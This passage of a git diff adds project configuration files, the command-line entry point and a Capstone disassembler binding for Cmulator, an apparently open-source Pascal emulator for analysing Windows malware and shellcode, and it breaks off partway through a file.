<SmartLinkUnit Value="True"/> + <TargetCPU Value="x86_64"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item6> + <SharedMatrixOptions Count="1"> + <Item1 ID="917770631570" Modes="Debug_linux,Release_linux,OSX_Release,OSX_Debug" Type="IDEMacro" MacroName="LCLWidgetType" Value="nogui"/> + </SharedMatrixOptions> + </BuildModes> + <PublishOptions> + <Version Value="2"/> + </PublishOptions> + <RunParams> + <local> + <FormatVersion Value="1"/> + <CommandLineParams Value="-f ../../samples/case.exe"/> + </local> + </RunParams> + <RequiredPackages Count="1"> + <Item1> + <PackageName Value="LazUtils"/> + </Item1> + </RequiredPackages> + <Units Count="16"> + <Unit0> + <Filename Value="Cmulator.pas"/> + <IsPartOfProject Value="True"/> + </Unit0> + <Unit1> + <Filename Value="Core/emu.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Emu"/> + </Unit1> + <Unit2> + <Filename Value="Core/segments.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Segments"/> + </Unit2> + <Unit3> + <Filename Value="Core/utils.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Utils"/> + </Unit3> + <Unit4> + <Filename Value="Core/struct.inc"/> + <IsPartOfProject Value="True"/> + </Unit4> + <Unit5> + <Filename Value="Core/struct.pas"/> + <IsPartOfProject Value="True"/> + </Unit5> + <Unit6> + <Filename Value="Core/pe_loader.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="PE_Loader"/> + </Unit6> + <Unit7> + <Filename Value="Core/fnhook.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="FnHook"/> + </Unit7> + <Unit8> + <Filename Value="Core/globals.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Globals"/> + </Unit8> + <Unit9> + <Filename Value="Core/jsplugins_bengine.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="JSPlugins_BEngine"/> + </Unit9> + <Unit10> + <Filename Value="Core/memmanager.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="MemManager"/> + </Unit10> + <Unit11> + <Filename Value="Core/tep_peb.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="TEP_PEB"/> + </Unit11> + <Unit12> + <Filename Value="Core/process/ethreads.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="EThreads"/> + </Unit12> + <Unit13> + <Filename Value="Core/GUI/gui.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="GUI"/> + </Unit13> + <Unit14> + <Filename Value="Core/interactive.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Interactive"/> + </Unit14> + <Unit15> + <Filename Value="Core/nativehooks.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="NativeHooks"/> + </Unit15> + </Units> + </ProjectOptions> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/linux/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <TargetCPU Value="x86_64"/> + </CodeGeneration> + <Linking> + <Debugging> + <UseHeaptrc Value="True"/> + <TrashVariables Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + <Debugging> + <Exceptions Count="3"> + <Item1> + <Name Value="EAbort"/> + </Item1> + <Item2> + <Name Value="ECodetoolError"/> + </Item2> + <Item3> + <Name Value="EFOpenError"/> + </Item3> + </Exceptions> + </Debugging> +</CONFIG> diff --git a/Cmulator.lps b/Cmulator.lps new file mode 100644 index 0000000..9b84d67 --- /dev/null +++ b/Cmulator.lps @@ -0,0 +1,500 @@ +<?xml version="1.0" encoding="UTF-8"?> +<CONFIG> + <ProjectSession> + <Version Value="10"/> + <BuildModes Active="OSX_Release"/> + <Units Count="45"> + <Unit0> + <Filename Value="Cmulator.pas"/> + <IsPartOfProject Value="True"/> + <IsVisibleTab Value="True"/> + <TopLine Value="172"/> + <CursorPos X="50" Y="35"/> + <FoldState Value=" T3i00J1y"/> + <UsageCount Value="201"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit0> + <Unit1> + <Filename Value="Core/emu.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Emu"/> + <EditorIndex Value="1"/> + <TopLine Value="1024"/> + <CursorPos X="20" Y="1031"/> + <FoldState Value=" T3jQ0{X2 pjBm20,1]9Ml60w]9iakC0S41311 T0nH6313"/> + <UsageCount Value="210"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit1> + <Unit2> + <Filename Value="Core/segments.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Segments"/> + <EditorIndex Value="-1"/> + <TopLine Value="36"/> + <CursorPos X="20" Y="53"/> + <FoldState Value=" T3jb0S30"/> + <UsageCount Value="203"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit2> + <Unit3> + <Filename Value="Core/utils.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Utils"/> + <EditorIndex Value="8"/> + <CursorPos X="38" Y="7"/> + <UsageCount Value="224"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit3> + <Unit4> + <Filename Value="Core/struct.inc"/> + <IsPartOfProject Value="True"/> + <EditorIndex Value="-1"/> + <UsageCount Value="207"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit4> + <Unit5> + <Filename Value="Core/struct.pas"/> + <IsPartOfProject Value="True"/> + <EditorIndex Value="-1"/> + <TopLine Value="718"/> + <CursorPos X="3" Y="722"/> + <UsageCount Value="207"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit5> + <Unit6> + <Filename Value="Core/pe_loader.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="PE_Loader"/> + <EditorIndex Value="9"/> + <TopLine Value="645"/> + <CursorPos Y="656"/> + <UsageCount Value="210"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit6> + <Unit7> + <Filename Value="Core/fnhook.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="FnHook"/> + <EditorIndex Value="-1"/> + <TopLine Value="86"/> + <CursorPos Y="90"/> + <UsageCount Value="201"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit7> + <Unit8> + <Filename Value="Core/globals.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Globals"/> + <EditorIndex Value="-1"/> + <TopLine Value="12"/> + <CursorPos X="14" Y="14"/> + <UsageCount Value="212"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit8> + <Unit9> + <Filename Value="Core/jsplugins_bengine.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="JSPlugins_BEngine"/> + <EditorIndex Value="6"/> + <TopLine Value="195"/> + <CursorPos X="31" Y="233"/> + <UsageCount Value="200"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit9> + <Unit10> + <Filename Value="Core/memmanager.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="MemManager"/> + <EditorIndex Value="-1"/> + <CursorPos X="50" Y="11"/> + <UsageCount Value="201"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit10> + <Unit11> + <Filename Value="Core/tep_peb.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="TEP_PEB"/> + <EditorIndex Value="-1"/> + <TopLine Value="94"/> + <CursorPos X="5" Y="105"/> + <FoldState Value=" TCKXH034171611312111Y"/> + <UsageCount Value="216"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit11> + <Unit12> + <Filename Value="Core/process/ethreads.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="EThreads"/> + <EditorIndex Value="5"/> + <TopLine Value="10"/> + <UsageCount Value="200"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit12> + <Unit13> + <Filename Value="Core/GUI/gui.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="GUI"/> + <EditorIndex Value="-1"/> + <TopLine Value="92"/> + <CursorPos Y="98"/> + <FoldState Value=" T3X0A1{"/> + <UsageCount Value="200"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit13> + <Unit14> + <Filename Value="Core/interactive.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="Interactive"/> + <EditorIndex Value="-1"/> + <CursorPos X="10" Y="2"/> + <UsageCount Value="131"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit14> + <Unit15> + <Filename Value="Core/nativehooks.pas"/> + <IsPartOfProject Value="True"/> + <UnitName Value="NativeHooks"/> + <EditorIndex Value="4"/> + <TopLine Value="47"/> + <CursorPos X="7" Y="64"/> + <UsageCount Value="72"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit15> + <Unit16> + <Filename Value="jsemuobj.pas"/> + <UnitName Value="JSEmuObj"/> + <EditorIndex Value="-1"/> + <TopLine Value="16"/> + <CursorPos X="48" Y="32"/> + <UsageCount Value="200"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit16> + <Unit17> + <Filename Value="Core/jsemuobj.pas"/> + <UnitName Value="JSEmuObj"/> + <EditorIndex Value="7"/> + <TopLine Value="12"/> + <CursorPos X="4" Y="12"/> + <UsageCount Value="105"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit17> + <Unit18> + <Filename Value="Core/unicorn/Unicorn_dyn.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="251"/> + <CursorPos X="3" Y="261"/> + <UsageCount Value="81"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit18> + <Unit19> + <Filename Value="Core/unicorn/UnicornConst.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="68"/> + <CursorPos X="20" Y="75"/> + <UsageCount Value="27"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit19> + <Unit20> + <Filename Value="Core/besenunits.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="71"/> + <CursorPos X="3" Y="88"/> + <UsageCount Value="15"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit20> + <Unit21> + <Filename Value="Core/PE/PE.Image.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="24"/> + <UsageCount Value="32"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit21> + <Unit22> + <Filename Value="Core/PE/PE.Parser.Import.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="150"/> + <CursorPos X="13" Y="157"/> + <UsageCount Value="28"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit22> + <Unit23> + <Filename Value="Core/PE/PE.Types.Imports.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="29"/> + <CursorPos X="50" Y="39"/> + <UsageCount Value="5"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit23> + <Unit24> + <Filename Value="/usr/local/share/fpcsrc/rtl/objpas/classes/classesh.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="867"/> + <CursorPos X="28" Y="876"/> + <UsageCount Value="9"/> + </Unit24> + <Unit25> + <Filename Value="Core/pesp/PsePeFile.pas"/> + <EditorIndex Value="10"/> + <TopLine Value="488"/> + <CursorPos X="21" Y="500"/> + <UsageCount Value="15"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit25> + <Unit26> + <Filename Value="Core/pesp/PseFile.pas"/> + <EditorIndex Value="-1"/> + <UsageCount Value="6"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit26> + <Unit27> + <Filename Value="Core/pesp/PseImportTable.pas"/> + <EditorIndex Value="11"/> + <TopLine Value="54"/> + <CursorPos X="14" Y="65"/> + <UsageCount Value="14"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit27> + <Unit28> + <Filename Value="Core/Capstone/Capstone.pas"/> + <EditorIndex Value="2"/> + <UsageCount Value="53"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit28> + <Unit29> + <Filename Value="Core/Capstone/CapstoneApi.pas"/> + <EditorIndex Value="3"/> + <TopLine Value="8"/> + <CursorPos X="28" Y="21"/> + <UsageCount Value="48"/> + <Loaded Value="True"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit29> + <Unit30> + <Filename Value="/usr/local/share/fpcsrc/packages/fcl-json/src/jsonconf.pp"/> + <UnitName Value="jsonConf"/> + <EditorIndex Value="-1"/> + <TopLine Value="127"/> + <UsageCount Value="9"/> + </Unit30> + <Unit31> + <Filename Value="/usr/local/share/fpcsrc/packages/fcl-json/src/jsonparser.pp"/> + <EditorIndex Value="-1"/> + <TopLine Value="35"/> + <UsageCount Value="9"/> + </Unit31> + <Unit32> + <Filename Value="/usr/local/share/fpcsrc/packages/fcl-json/src/fpjson.pp"/> + <EditorIndex Value="-1"/> + <TopLine Value="112"/> + <CursorPos X="3" Y="72"/> + <UsageCount Value="9"/> + </Unit32> + <Unit33> + <Filename Value="/usr/local/share/fpcsrc/rtl/inc/objpash.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="182"/> + <CursorPos X="23" Y="193"/> + <UsageCount Value="9"/> + </Unit33> + <Unit34> + <Filename Value="Core/JSON/superobject.pas"/> + <EditorIndex Value="-1"/> + <CursorPos X="30" Y="13"/> + <UsageCount Value="12"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit34> + <Unit35> + <Filename Value="Core/JS/BESENStringUtils.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="80"/> + <CursorPos X="10" Y="91"/> + <UsageCount Value="10"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit35> + <Unit36> + <Filename Value="Core/JS/BESENTypes.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="92"/> + <CursorPos X="6" Y="103"/> + <UsageCount Value="10"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit36> + <Unit37> + <Filename Value="Core/JS/BESENValue.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="261"/> + <CursorPos X="10" Y="272"/> + <UsageCount Value="22"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit37> + <Unit38> + <Filename Value="/usr/local/share/fpcsrc/packages/rtl-console/src/inc/crth.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="38"/> + <CursorPos X="3" Y="46"/> + <UsageCount Value="8"/> + </Unit38> + <Unit39> + <Filename Value="Core/unicorn/X86Const.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="246"/> + <CursorPos X="3" Y="39"/> + <UsageCount Value="6"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit39> + <Unit40> + <Filename Value="Core/pesp/PsePe.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="313"/> + <CursorPos X="31" Y="321"/> + <UsageCount Value="10"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit40> + <Unit41> + <Filename Value="Core/JSON/supertypes.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="15"/> + <UsageCount Value="10"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit41> + <Unit42> + <Filename Value="Core/generics_collections/src/generics.collections.pas"/> + <UnitName Value="Generics.Collections"/> + <EditorIndex Value="-1"/> + <UsageCount Value="11"/> + <DefaultSyntaxHighlighter Value="Delphi"/> + </Unit42> + <Unit43> + <Filename Value="/usr/local/share/fpcsrc/rtl/objpas/typinfo.pp"/> + <UnitName Value="TypInfo"/> + <EditorIndex Value="-1"/> + <UsageCount Value="10"/> + </Unit43> + <Unit44> + <Filename Value="Cmulator.lps"/> + <EditorIndex Value="-1"/> + <UsageCount Value="10"/> + <DefaultSyntaxHighlighter Value="XML"/> + </Unit44> + </Units> + <JumpHistory Count="19" HistoryIndex="18"> + <Position1> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="697" TopLine="679"/> + </Position1> + <Position2> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="708" TopLine="697"/> + </Position2> + <Position3> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="690" Column="5" TopLine="681"/> + </Position3> + <Position4> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="445" Column="22" TopLine="212"/> + </Position4> + <Position5> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="689" Column="22" TopLine="684"/> + </Position5> + <Position6> + <Filename Value="Core/pesp/PsePeFile.pas"/> + <Caret Line="508" Column="7" TopLine="498"/> + </Position6> + <Position7> + <Filename Value="Core/pesp/PsePeFile.pas"/> + <Caret Line="462" Column="3" TopLine="451"/> + </Position7> + <Position8> + <Filename Value="Core/pesp/PsePeFile.pas"/> + <Caret Line="507" Column="59" TopLine="499"/> + </Position8> + <Position9> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="713" Column="7" TopLine="702"/> + </Position9> + <Position10> + <Filename Value="Core/pe_loader.pas"/> + <Caret Line="28" Column="26" TopLine="24"/> + </Position10> + <Position11> + <Filename Value="Core/pesp/PsePeFile.pas"/> + <Caret Line="494" TopLine="492"/> + </Position11> + <Position12> + <Filename Value="Core/Capstone/CapstoneApi.pas"/> + <Caret Line="26" Column="19" TopLine="14"/> + </Position12> + <Position13> + <Filename Value="Core/Capstone/CapstoneApi.pas"/> + <Caret Line="500" Column="5" TopLine="477"/> + </Position13> + <Position14> + <Filename Value="Cmulator.pas"/> + <Caret Line="115" Column="31" TopLine="30"/> + </Position14> + <Position15> + <Filename Value="Cmulator.pas"/> + <Caret Line="8" Column="27" TopLine="8"/> + </Position15> + <Position16> + <Filename Value="Core/Capstone/CapstoneApi.pas"/> + <Caret Line="190" Column="92" TopLine="183"/> + </Position16> + <Position17> + <Filename Value="Cmulator.pas"/> + <Caret Line="205" Column="16" TopLine="195"/> + </Position17> + <Position18> + <Filename Value="Cmulator.pas"/> + </Position18> + <Position19> + <Filename Value="Core/emu.pas"/> + <Caret Line="12" Column="12" TopLine="771"/> + </Position19> + </JumpHistory> + </ProjectSession> + <Debugging> + <BreakPoints Count="2"> + <Item1> + <Kind Value="bpkSource"/> + <WatchScope Value="wpsLocal"/> + <WatchKind Value="wpkWrite"/> + <Source Value="Core/emu.pas"/> + <Line Value="283"/> + </Item1> + <Item2> + <Kind Value="bpkSource"/> + <WatchScope Value="wpsLocal"/> + <WatchKind Value="wpkWrite"/> + <Source Value="Core/emu.pas"/> + <Line Value="269"/> + </Item2> + </BreakPoints> + <Watches Count="3"> + <Item1> + <Expression Value="rva"/> + <DisplayStyle Value="wdfHex"/> + </Item1> + <Item2> + <Expression Value="api.Name"/> + </Item2> + <Item3> + <Expression Value="FuncAddr"/> + <DisplayStyle Value="wdfHex"/> + </Item3> + </Watches> + </Debugging> +</CONFIG> diff --git a/Cmulator.pas b/Cmulator.pas new file mode 100644 index 0000000..e9a9876 --- /dev/null +++ b/Cmulator.pas @@ -0,0 +1,216 @@ +program Cmulator; + + +{$MODE Delphi} +{$PackRecords C} +{$codepage UTF8} + +uses + {$IFDEF unix} + cthreads, + {$ENDIF} + {$IFDEF WINDOWS} + windows, + {$ENDIF} + cmem,ctypes,math,Crt, + SysUtils,Classes, + {$I Core/besenunits.inc}, + Globals, + Unicorn_dyn, UnicornConst, Emu, + JSPlugins_BEngine,superobject, + PE.Common, // using TRVA . + PE.Image, + PE.Section, + PE.ExportSym, + PE.Imports.Lib, // using TPEImportLibrary . + PE.Imports.Func, // using TPEImportFunction . + PE.Types.Directories, + FileUtil,Utils,TEP_PEB;//,GUI; + + +procedure info(); +var + major, minor : Cardinal; +begin + major := 0; minor := 0; + Writeln (#10'Cmulator Malware Analyzer - By Coldzer0',#10); + Writeln ( 'Compiled on : ',{$I %DATE%}, ' - ' ,{$I %TIME%}); + Writeln ( 'Target CPU : i386 & x86_x64'); + uc_version(major, minor); + Writeln(format('Unicorn Engine : v%d.%d ',[major,minor])); + Writeln('Cmulator : v0.1'#10); +end; + +procedure Help(); +begin + info(); + Writeln('Usage Example : ' , ParamStr(0) , ' -file ./Mal.exe -q'); + Writeln(' -f Path to PE or ShellCode file to Emulate .'); + Writeln(' -s Number of Steps Limit if 0 then it''s Unlimited - (default = 0) , '); + Writeln(' But it works different with Quick Mode - it will increment ,'); + Writeln(' On any bransh like call jmp jz ret etc.. , so use smaller value .'); + Writeln(); + Writeln(' -q Quick Mode to make Execution Faster But no disasm .'); + Writeln(' -asm Show Assembly instructions .'); + Writeln(' -x64 By default Cmulator Detect the PE Mode But this one for x64 ShellCodes .'); + Writeln(' -sc To Notify Cmulator that the File is ShellCode .'); + Writeln(); + Writeln(' -v Show Some Info When Calling an API and Some Other Stuff .'); + Writeln(' -vv Like -v But with more info .'); + Writeln(' -vv Like -vv But with much much more more info :D - use at your own risk :P .'); + Writeln(); + Writeln(); +end; + +procedure LoadConfig(); +var + conf : TStrings; + JSON : ISuperObject; + data : string; +begin + conf := TStringList.Create; + if FileExists('./config.json') then + begin + conf.LoadFromFile('./config.json'); + data := conf.Text; + JSON := SO(UnicodeString(data)); + + win32 := JSON.S['system.win32']; + win64 := JSON.S['system.win64']; + JSAPI := JSON.S['JS.main']; + + if not FileExists(JSAPI) then + begin + Writeln('JS Main Script not found - Check the config file !'); + halt; + end; + + if not DirectoryExists(win32) then + begin + Writeln('win32 dlls Folder not found - Check the config file !'); + halt; + end; + if not DirectoryExists(win64) then + begin + Writeln('win64 dlls Folder not found - Check the config file !'); + halt; + end; + end + else + begin + Writeln('Confing file not found !'); + halt; + end; +end; + +var + FilePath : String; + i : integer; + IsShellcode : boolean = False; + SCx64 : Boolean = False; + //x : PEB_LDR_DATA_32; +begin + // this here for testing :V . + //Writeln('Offset = ',hexStr(QWORD(Pointer(@x.SsHandle)) - QWORD(Pointer(@x)),4)); + //GuiTest(); + //exit; + + FilePath := ''; + + LoadConfig(); + + {$IFDEF WINDOWS} + SetConsoleOutputCP(CP_UTF8); + {$ENDIF} + if Paramcount = 0 then + begin + Writeln(); + Help(); + halt(0); + end; + for i := 0 to Paramcount do + begin + if LowerCase(ParamStr(i)) = '-h' then + begin + Writeln(); + Help(); + halt(0); + end; + if LowerCase(ParamStr(i)) = '-ex' then + begin + VerboseExcp := True; + end; + if LowerCase(ParamStr(i)) = '-x64' then + begin + SCx64 := True; + end; + if LowerCase(ParamStr(i)) = '-sc' then + begin + IsShellcode := True; + end; + if LowerCase(ParamStr(i)) = '-f' then + begin + FilePath := ParamStr(i+1); + if not FileExists(FilePath) then + begin + Writeln(); + Writeln(Format('[x] "%s" not found',[FilePath])); + Help(); + halt(0); + end; + end; + if LowerCase(ParamStr(i)) = '-s' then + begin + if not TryStrToQWord(ParamStr(i+1),Steps_limit) then + begin + Writeln('[x] Please Enter Steps as number ! - Ex: -s 1000'); + halt(0); + end; + end; + if LowerCase(ParamStr(i)) = '-v' then + begin + Verbose := True; + end; + if LowerCase(ParamStr(i)) = '-vv' then + begin + Verbose := true; + VerboseEx := Verbose; + end; + if LowerCase(ParamStr(i)) = '-vvv' then + begin + Verbose := true; + VerboseEx := Verbose; + VerboseExx := Verbose; + end; + if LowerCase(ParamStr(i)) = '-asm' then + begin + ShowASM := True; + end; + if LowerCase(ParamStr(i)) = '-q' then + begin + Speed := True; + end; + end; + info(); + + if Speed and ShowASM then + begin + TextColor(LightRed); + Writeln('Can''t Use Quick Mode with ASM'); + Writeln(); + NormVideo; + halt(0); + end; + + Randomize; // don't remove this :D - it's here for a reason . + + Emulator := TEmu.Create(FilePath,IsShellcode,SCx64); + + js := TBESENInstance.Create(); // ini JS Plugin system .. + + Emulator.Start; + + Writeln(#10#10); + Writeln('Press Enter to Close ¯\_(ツ)_/¯'); + ReadLn; +end. diff --git a/Core/Capstone/.gitignore b/Core/Capstone/.gitignore new file mode 100755 index 0000000..7e4aa2d --- /dev/null +++ b/Core/Capstone/.gitignore @@ -0,0 +1,29 @@ +*.dcu +*.a +*.o +*.rst +*.lps +*.~*~ +*.local +*.log +*.identcache +__history +fpc +*.drc +*.map +*.exe +*.dll +*.sys +bin/* +*.o +*.obj +*.ppu +*.bak +*.compiled +Win32 +Win64 +*.vlb +*.tvsconfig +*.zip +bpl +dist diff --git a/Core/Capstone/Capstone.pas b/Core/Capstone/Capstone.pas new file mode 100755 index 0000000..2c8efdc --- /dev/null +++ b/Core/Capstone/Capstone.pas @@ -0,0 +1,194 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit Capstone; + +{$IFDEF FPC} + {$MODE Delphi} +{$ENDIF} +{$SMARTLINK ON} +{$PackRecords C} + +interface + +uses + SysUtils, Classes, CapstoneApi, CapstoneCmn; + +type + TCsInsn = record + id: Cardinal; + address: Int64; + size: Word; + bytes: array[0..15] of Byte; + mnemonic: string; + op_str: string; + end; + + TCsSyntax = (cssIntel, cssAtt); + + TCapstone = class(TPersistent) + private + FHandle: csh; + FArch: TCsArch; + FMode: TCsMode; + FCode: Pointer; + FSize: NativeUInt; + FInsn: Pcs_insn; + FDetails: boolean; + FSyntax: TCsSyntax; + public + constructor Create; + destructor Destroy; override; + function Open(ACode: Pointer; ASize: NativeUInt): cs_err; + procedure Close; + function GetNext(var AAddr: UInt64; out AInsn: TCsInsn): boolean; + function GetDetail(out AInsn: cs_insn; out ADetail: cs_detail): boolean; + published + property Arch: TCsArch read FArch write FArch default csaUnknown; + property Mode: TCsMode read FMode write FMode default []; + property Details: boolean read FDetails write FDetails; + property Syntax: TCsSyntax read FSyntax write FSyntax default cssIntel; + end; + +implementation + +{ TCapstone } + +constructor TCapstone.Create; +begin + inherited; + FArch := csaUnknown; + FMode := []; + FSyntax := cssIntel; + FHandle := 0; + FInsn := nil; +end; + +destructor TCapstone.Destroy; +begin + Close; + inherited; +end; + +function TCapstone.Open(ACode: Pointer; ASize: NativeUInt): cs_err; +var + h: csh; + dMode: integer; +begin + if FArch = csaUnknown then + raise Exception.Create('Unknown Architecture'); + h := 0; + dMode := 0; + if csmLittleEndian in FMode then + dMode := dMode or CS_MODE_LITTLE_ENDIAN; + if csmARM in FMode then + dMode := dMode or CS_MODE_ARM; + if csm16 in FMode then + dMode := dMode or CS_MODE_16; + if csm32 in FMode then + dMode := dMode or CS_MODE_32; + if csm64 in FMode then + dMode := dMode or CS_MODE_64; + if csmThumb in FMode then + dMode := dMode or CS_MODE_THUMB; + if csmMClass in FMode then + dMode := dMode or CS_MODE_MCLASS; + if csmV8 in FMode then + dMode := dMode or CS_MODE_V8; + if csmMicro in FMode then + dMode := dMode or CS_MODE_MICRO; + if csmMips3 in FMode then + dMode := dMode or CS_MODE_MIPS3; + if csmMips3R6 in FMode then + dMode := dMode or CS_MODE_MIPS32R6; + if csmMipsGP64 in FMode then + dMode := dMode or CS_MODE_MIPSGP64; + if csmV9 in FMode then + dMode := dMode or CS_MODE_V9; + if csmBigEndian in FMode then + dMode := dMode or CS_MODE_BIG_ENDIAN; + + Result := cs_open(Ord(FArch), dMode, @h); + if Result = CS_ERR_OK then begin + FHandle := h; + cs_option(FHandle, CS_OPT_SKIPDATA, Ord(CS_OPT_ON)); + if FDetails then + cs_option(FHandle, CS_OPT_DETAIL, Ord(CS_OPT_ON)); + if FSyntax = cssAtt then + cs_option(FHandle, CS_OPT_SYNTAX, Ord(CS_OPT_SYNTAX_ATT)); + end; + + FCode := ACode; + FSize := ASize; +end; + +procedure TCapstone.Close; +begin + if FInsn <> nil then begin + cs_free(FInsn, 1); + FInsn := nil; + end; + if FHandle <> 0 then begin + cs_close(FHandle); + FHandle := 0; + end; +end; + +function TCapstone.GetDetail(out AInsn: cs_insn; out ADetail: cs_detail): boolean; +begin + if (FInsn <> nil) then begin + Move(FInsn^, AInsn, SizeOf(cs_insn)); + if (FInsn^.detail <> nil) then + Move(FInsn^.detail^, ADetail, SizeOf(cs_detail)); + Result := true; + end else + Result := false; +end; + +function Read_BSTRING(Address : Int64; LengthText : Integer): ShortString stdcall; +var + i : Integer; +begin + Result := ''; + try + for i := 0 to LengthText do + begin + if Byte(PQWord(Address+i)^) = $00 then Break; + Result := Result + Chr(Byte(PQWord(Address+i)^)); + end; + except + on E: EAccessViolation do Exit; + end; +end; + +function TCapstone.GetNext(var AAddr: UInt64; out AInsn: TCsInsn): boolean; +begin + if FHandle = 0 then + Exit(false); + + if (FInsn = nil) then + FInsn := cs_malloc(FHandle); + + AInsn.id := 0; + AInsn.address := 0; + AInsn.size := 0; + FillChar(AInsn.bytes, 16, 0); + AInsn.mnemonic := ''; + AInsn.op_str := ''; + + Result := cs_disasm_iter(FHandle, FCode, FSize, AAddr, FInsn); + if Result then + begin + AInsn.id := FInsn^.id; + AInsn.address := FInsn^.address; + AInsn.size := FInsn^.size; + Move(FInsn^.bytes, AInsn.bytes, 16); + AInsn.mnemonic := string(FInsn^.mnemonic); + AInsn.op_str := string(FInsn^.op_str); + end; +end; + +end. diff --git a/Core/Capstone/CapstoneApi.pas b/Core/Capstone/CapstoneApi.pas new file mode 100755 index 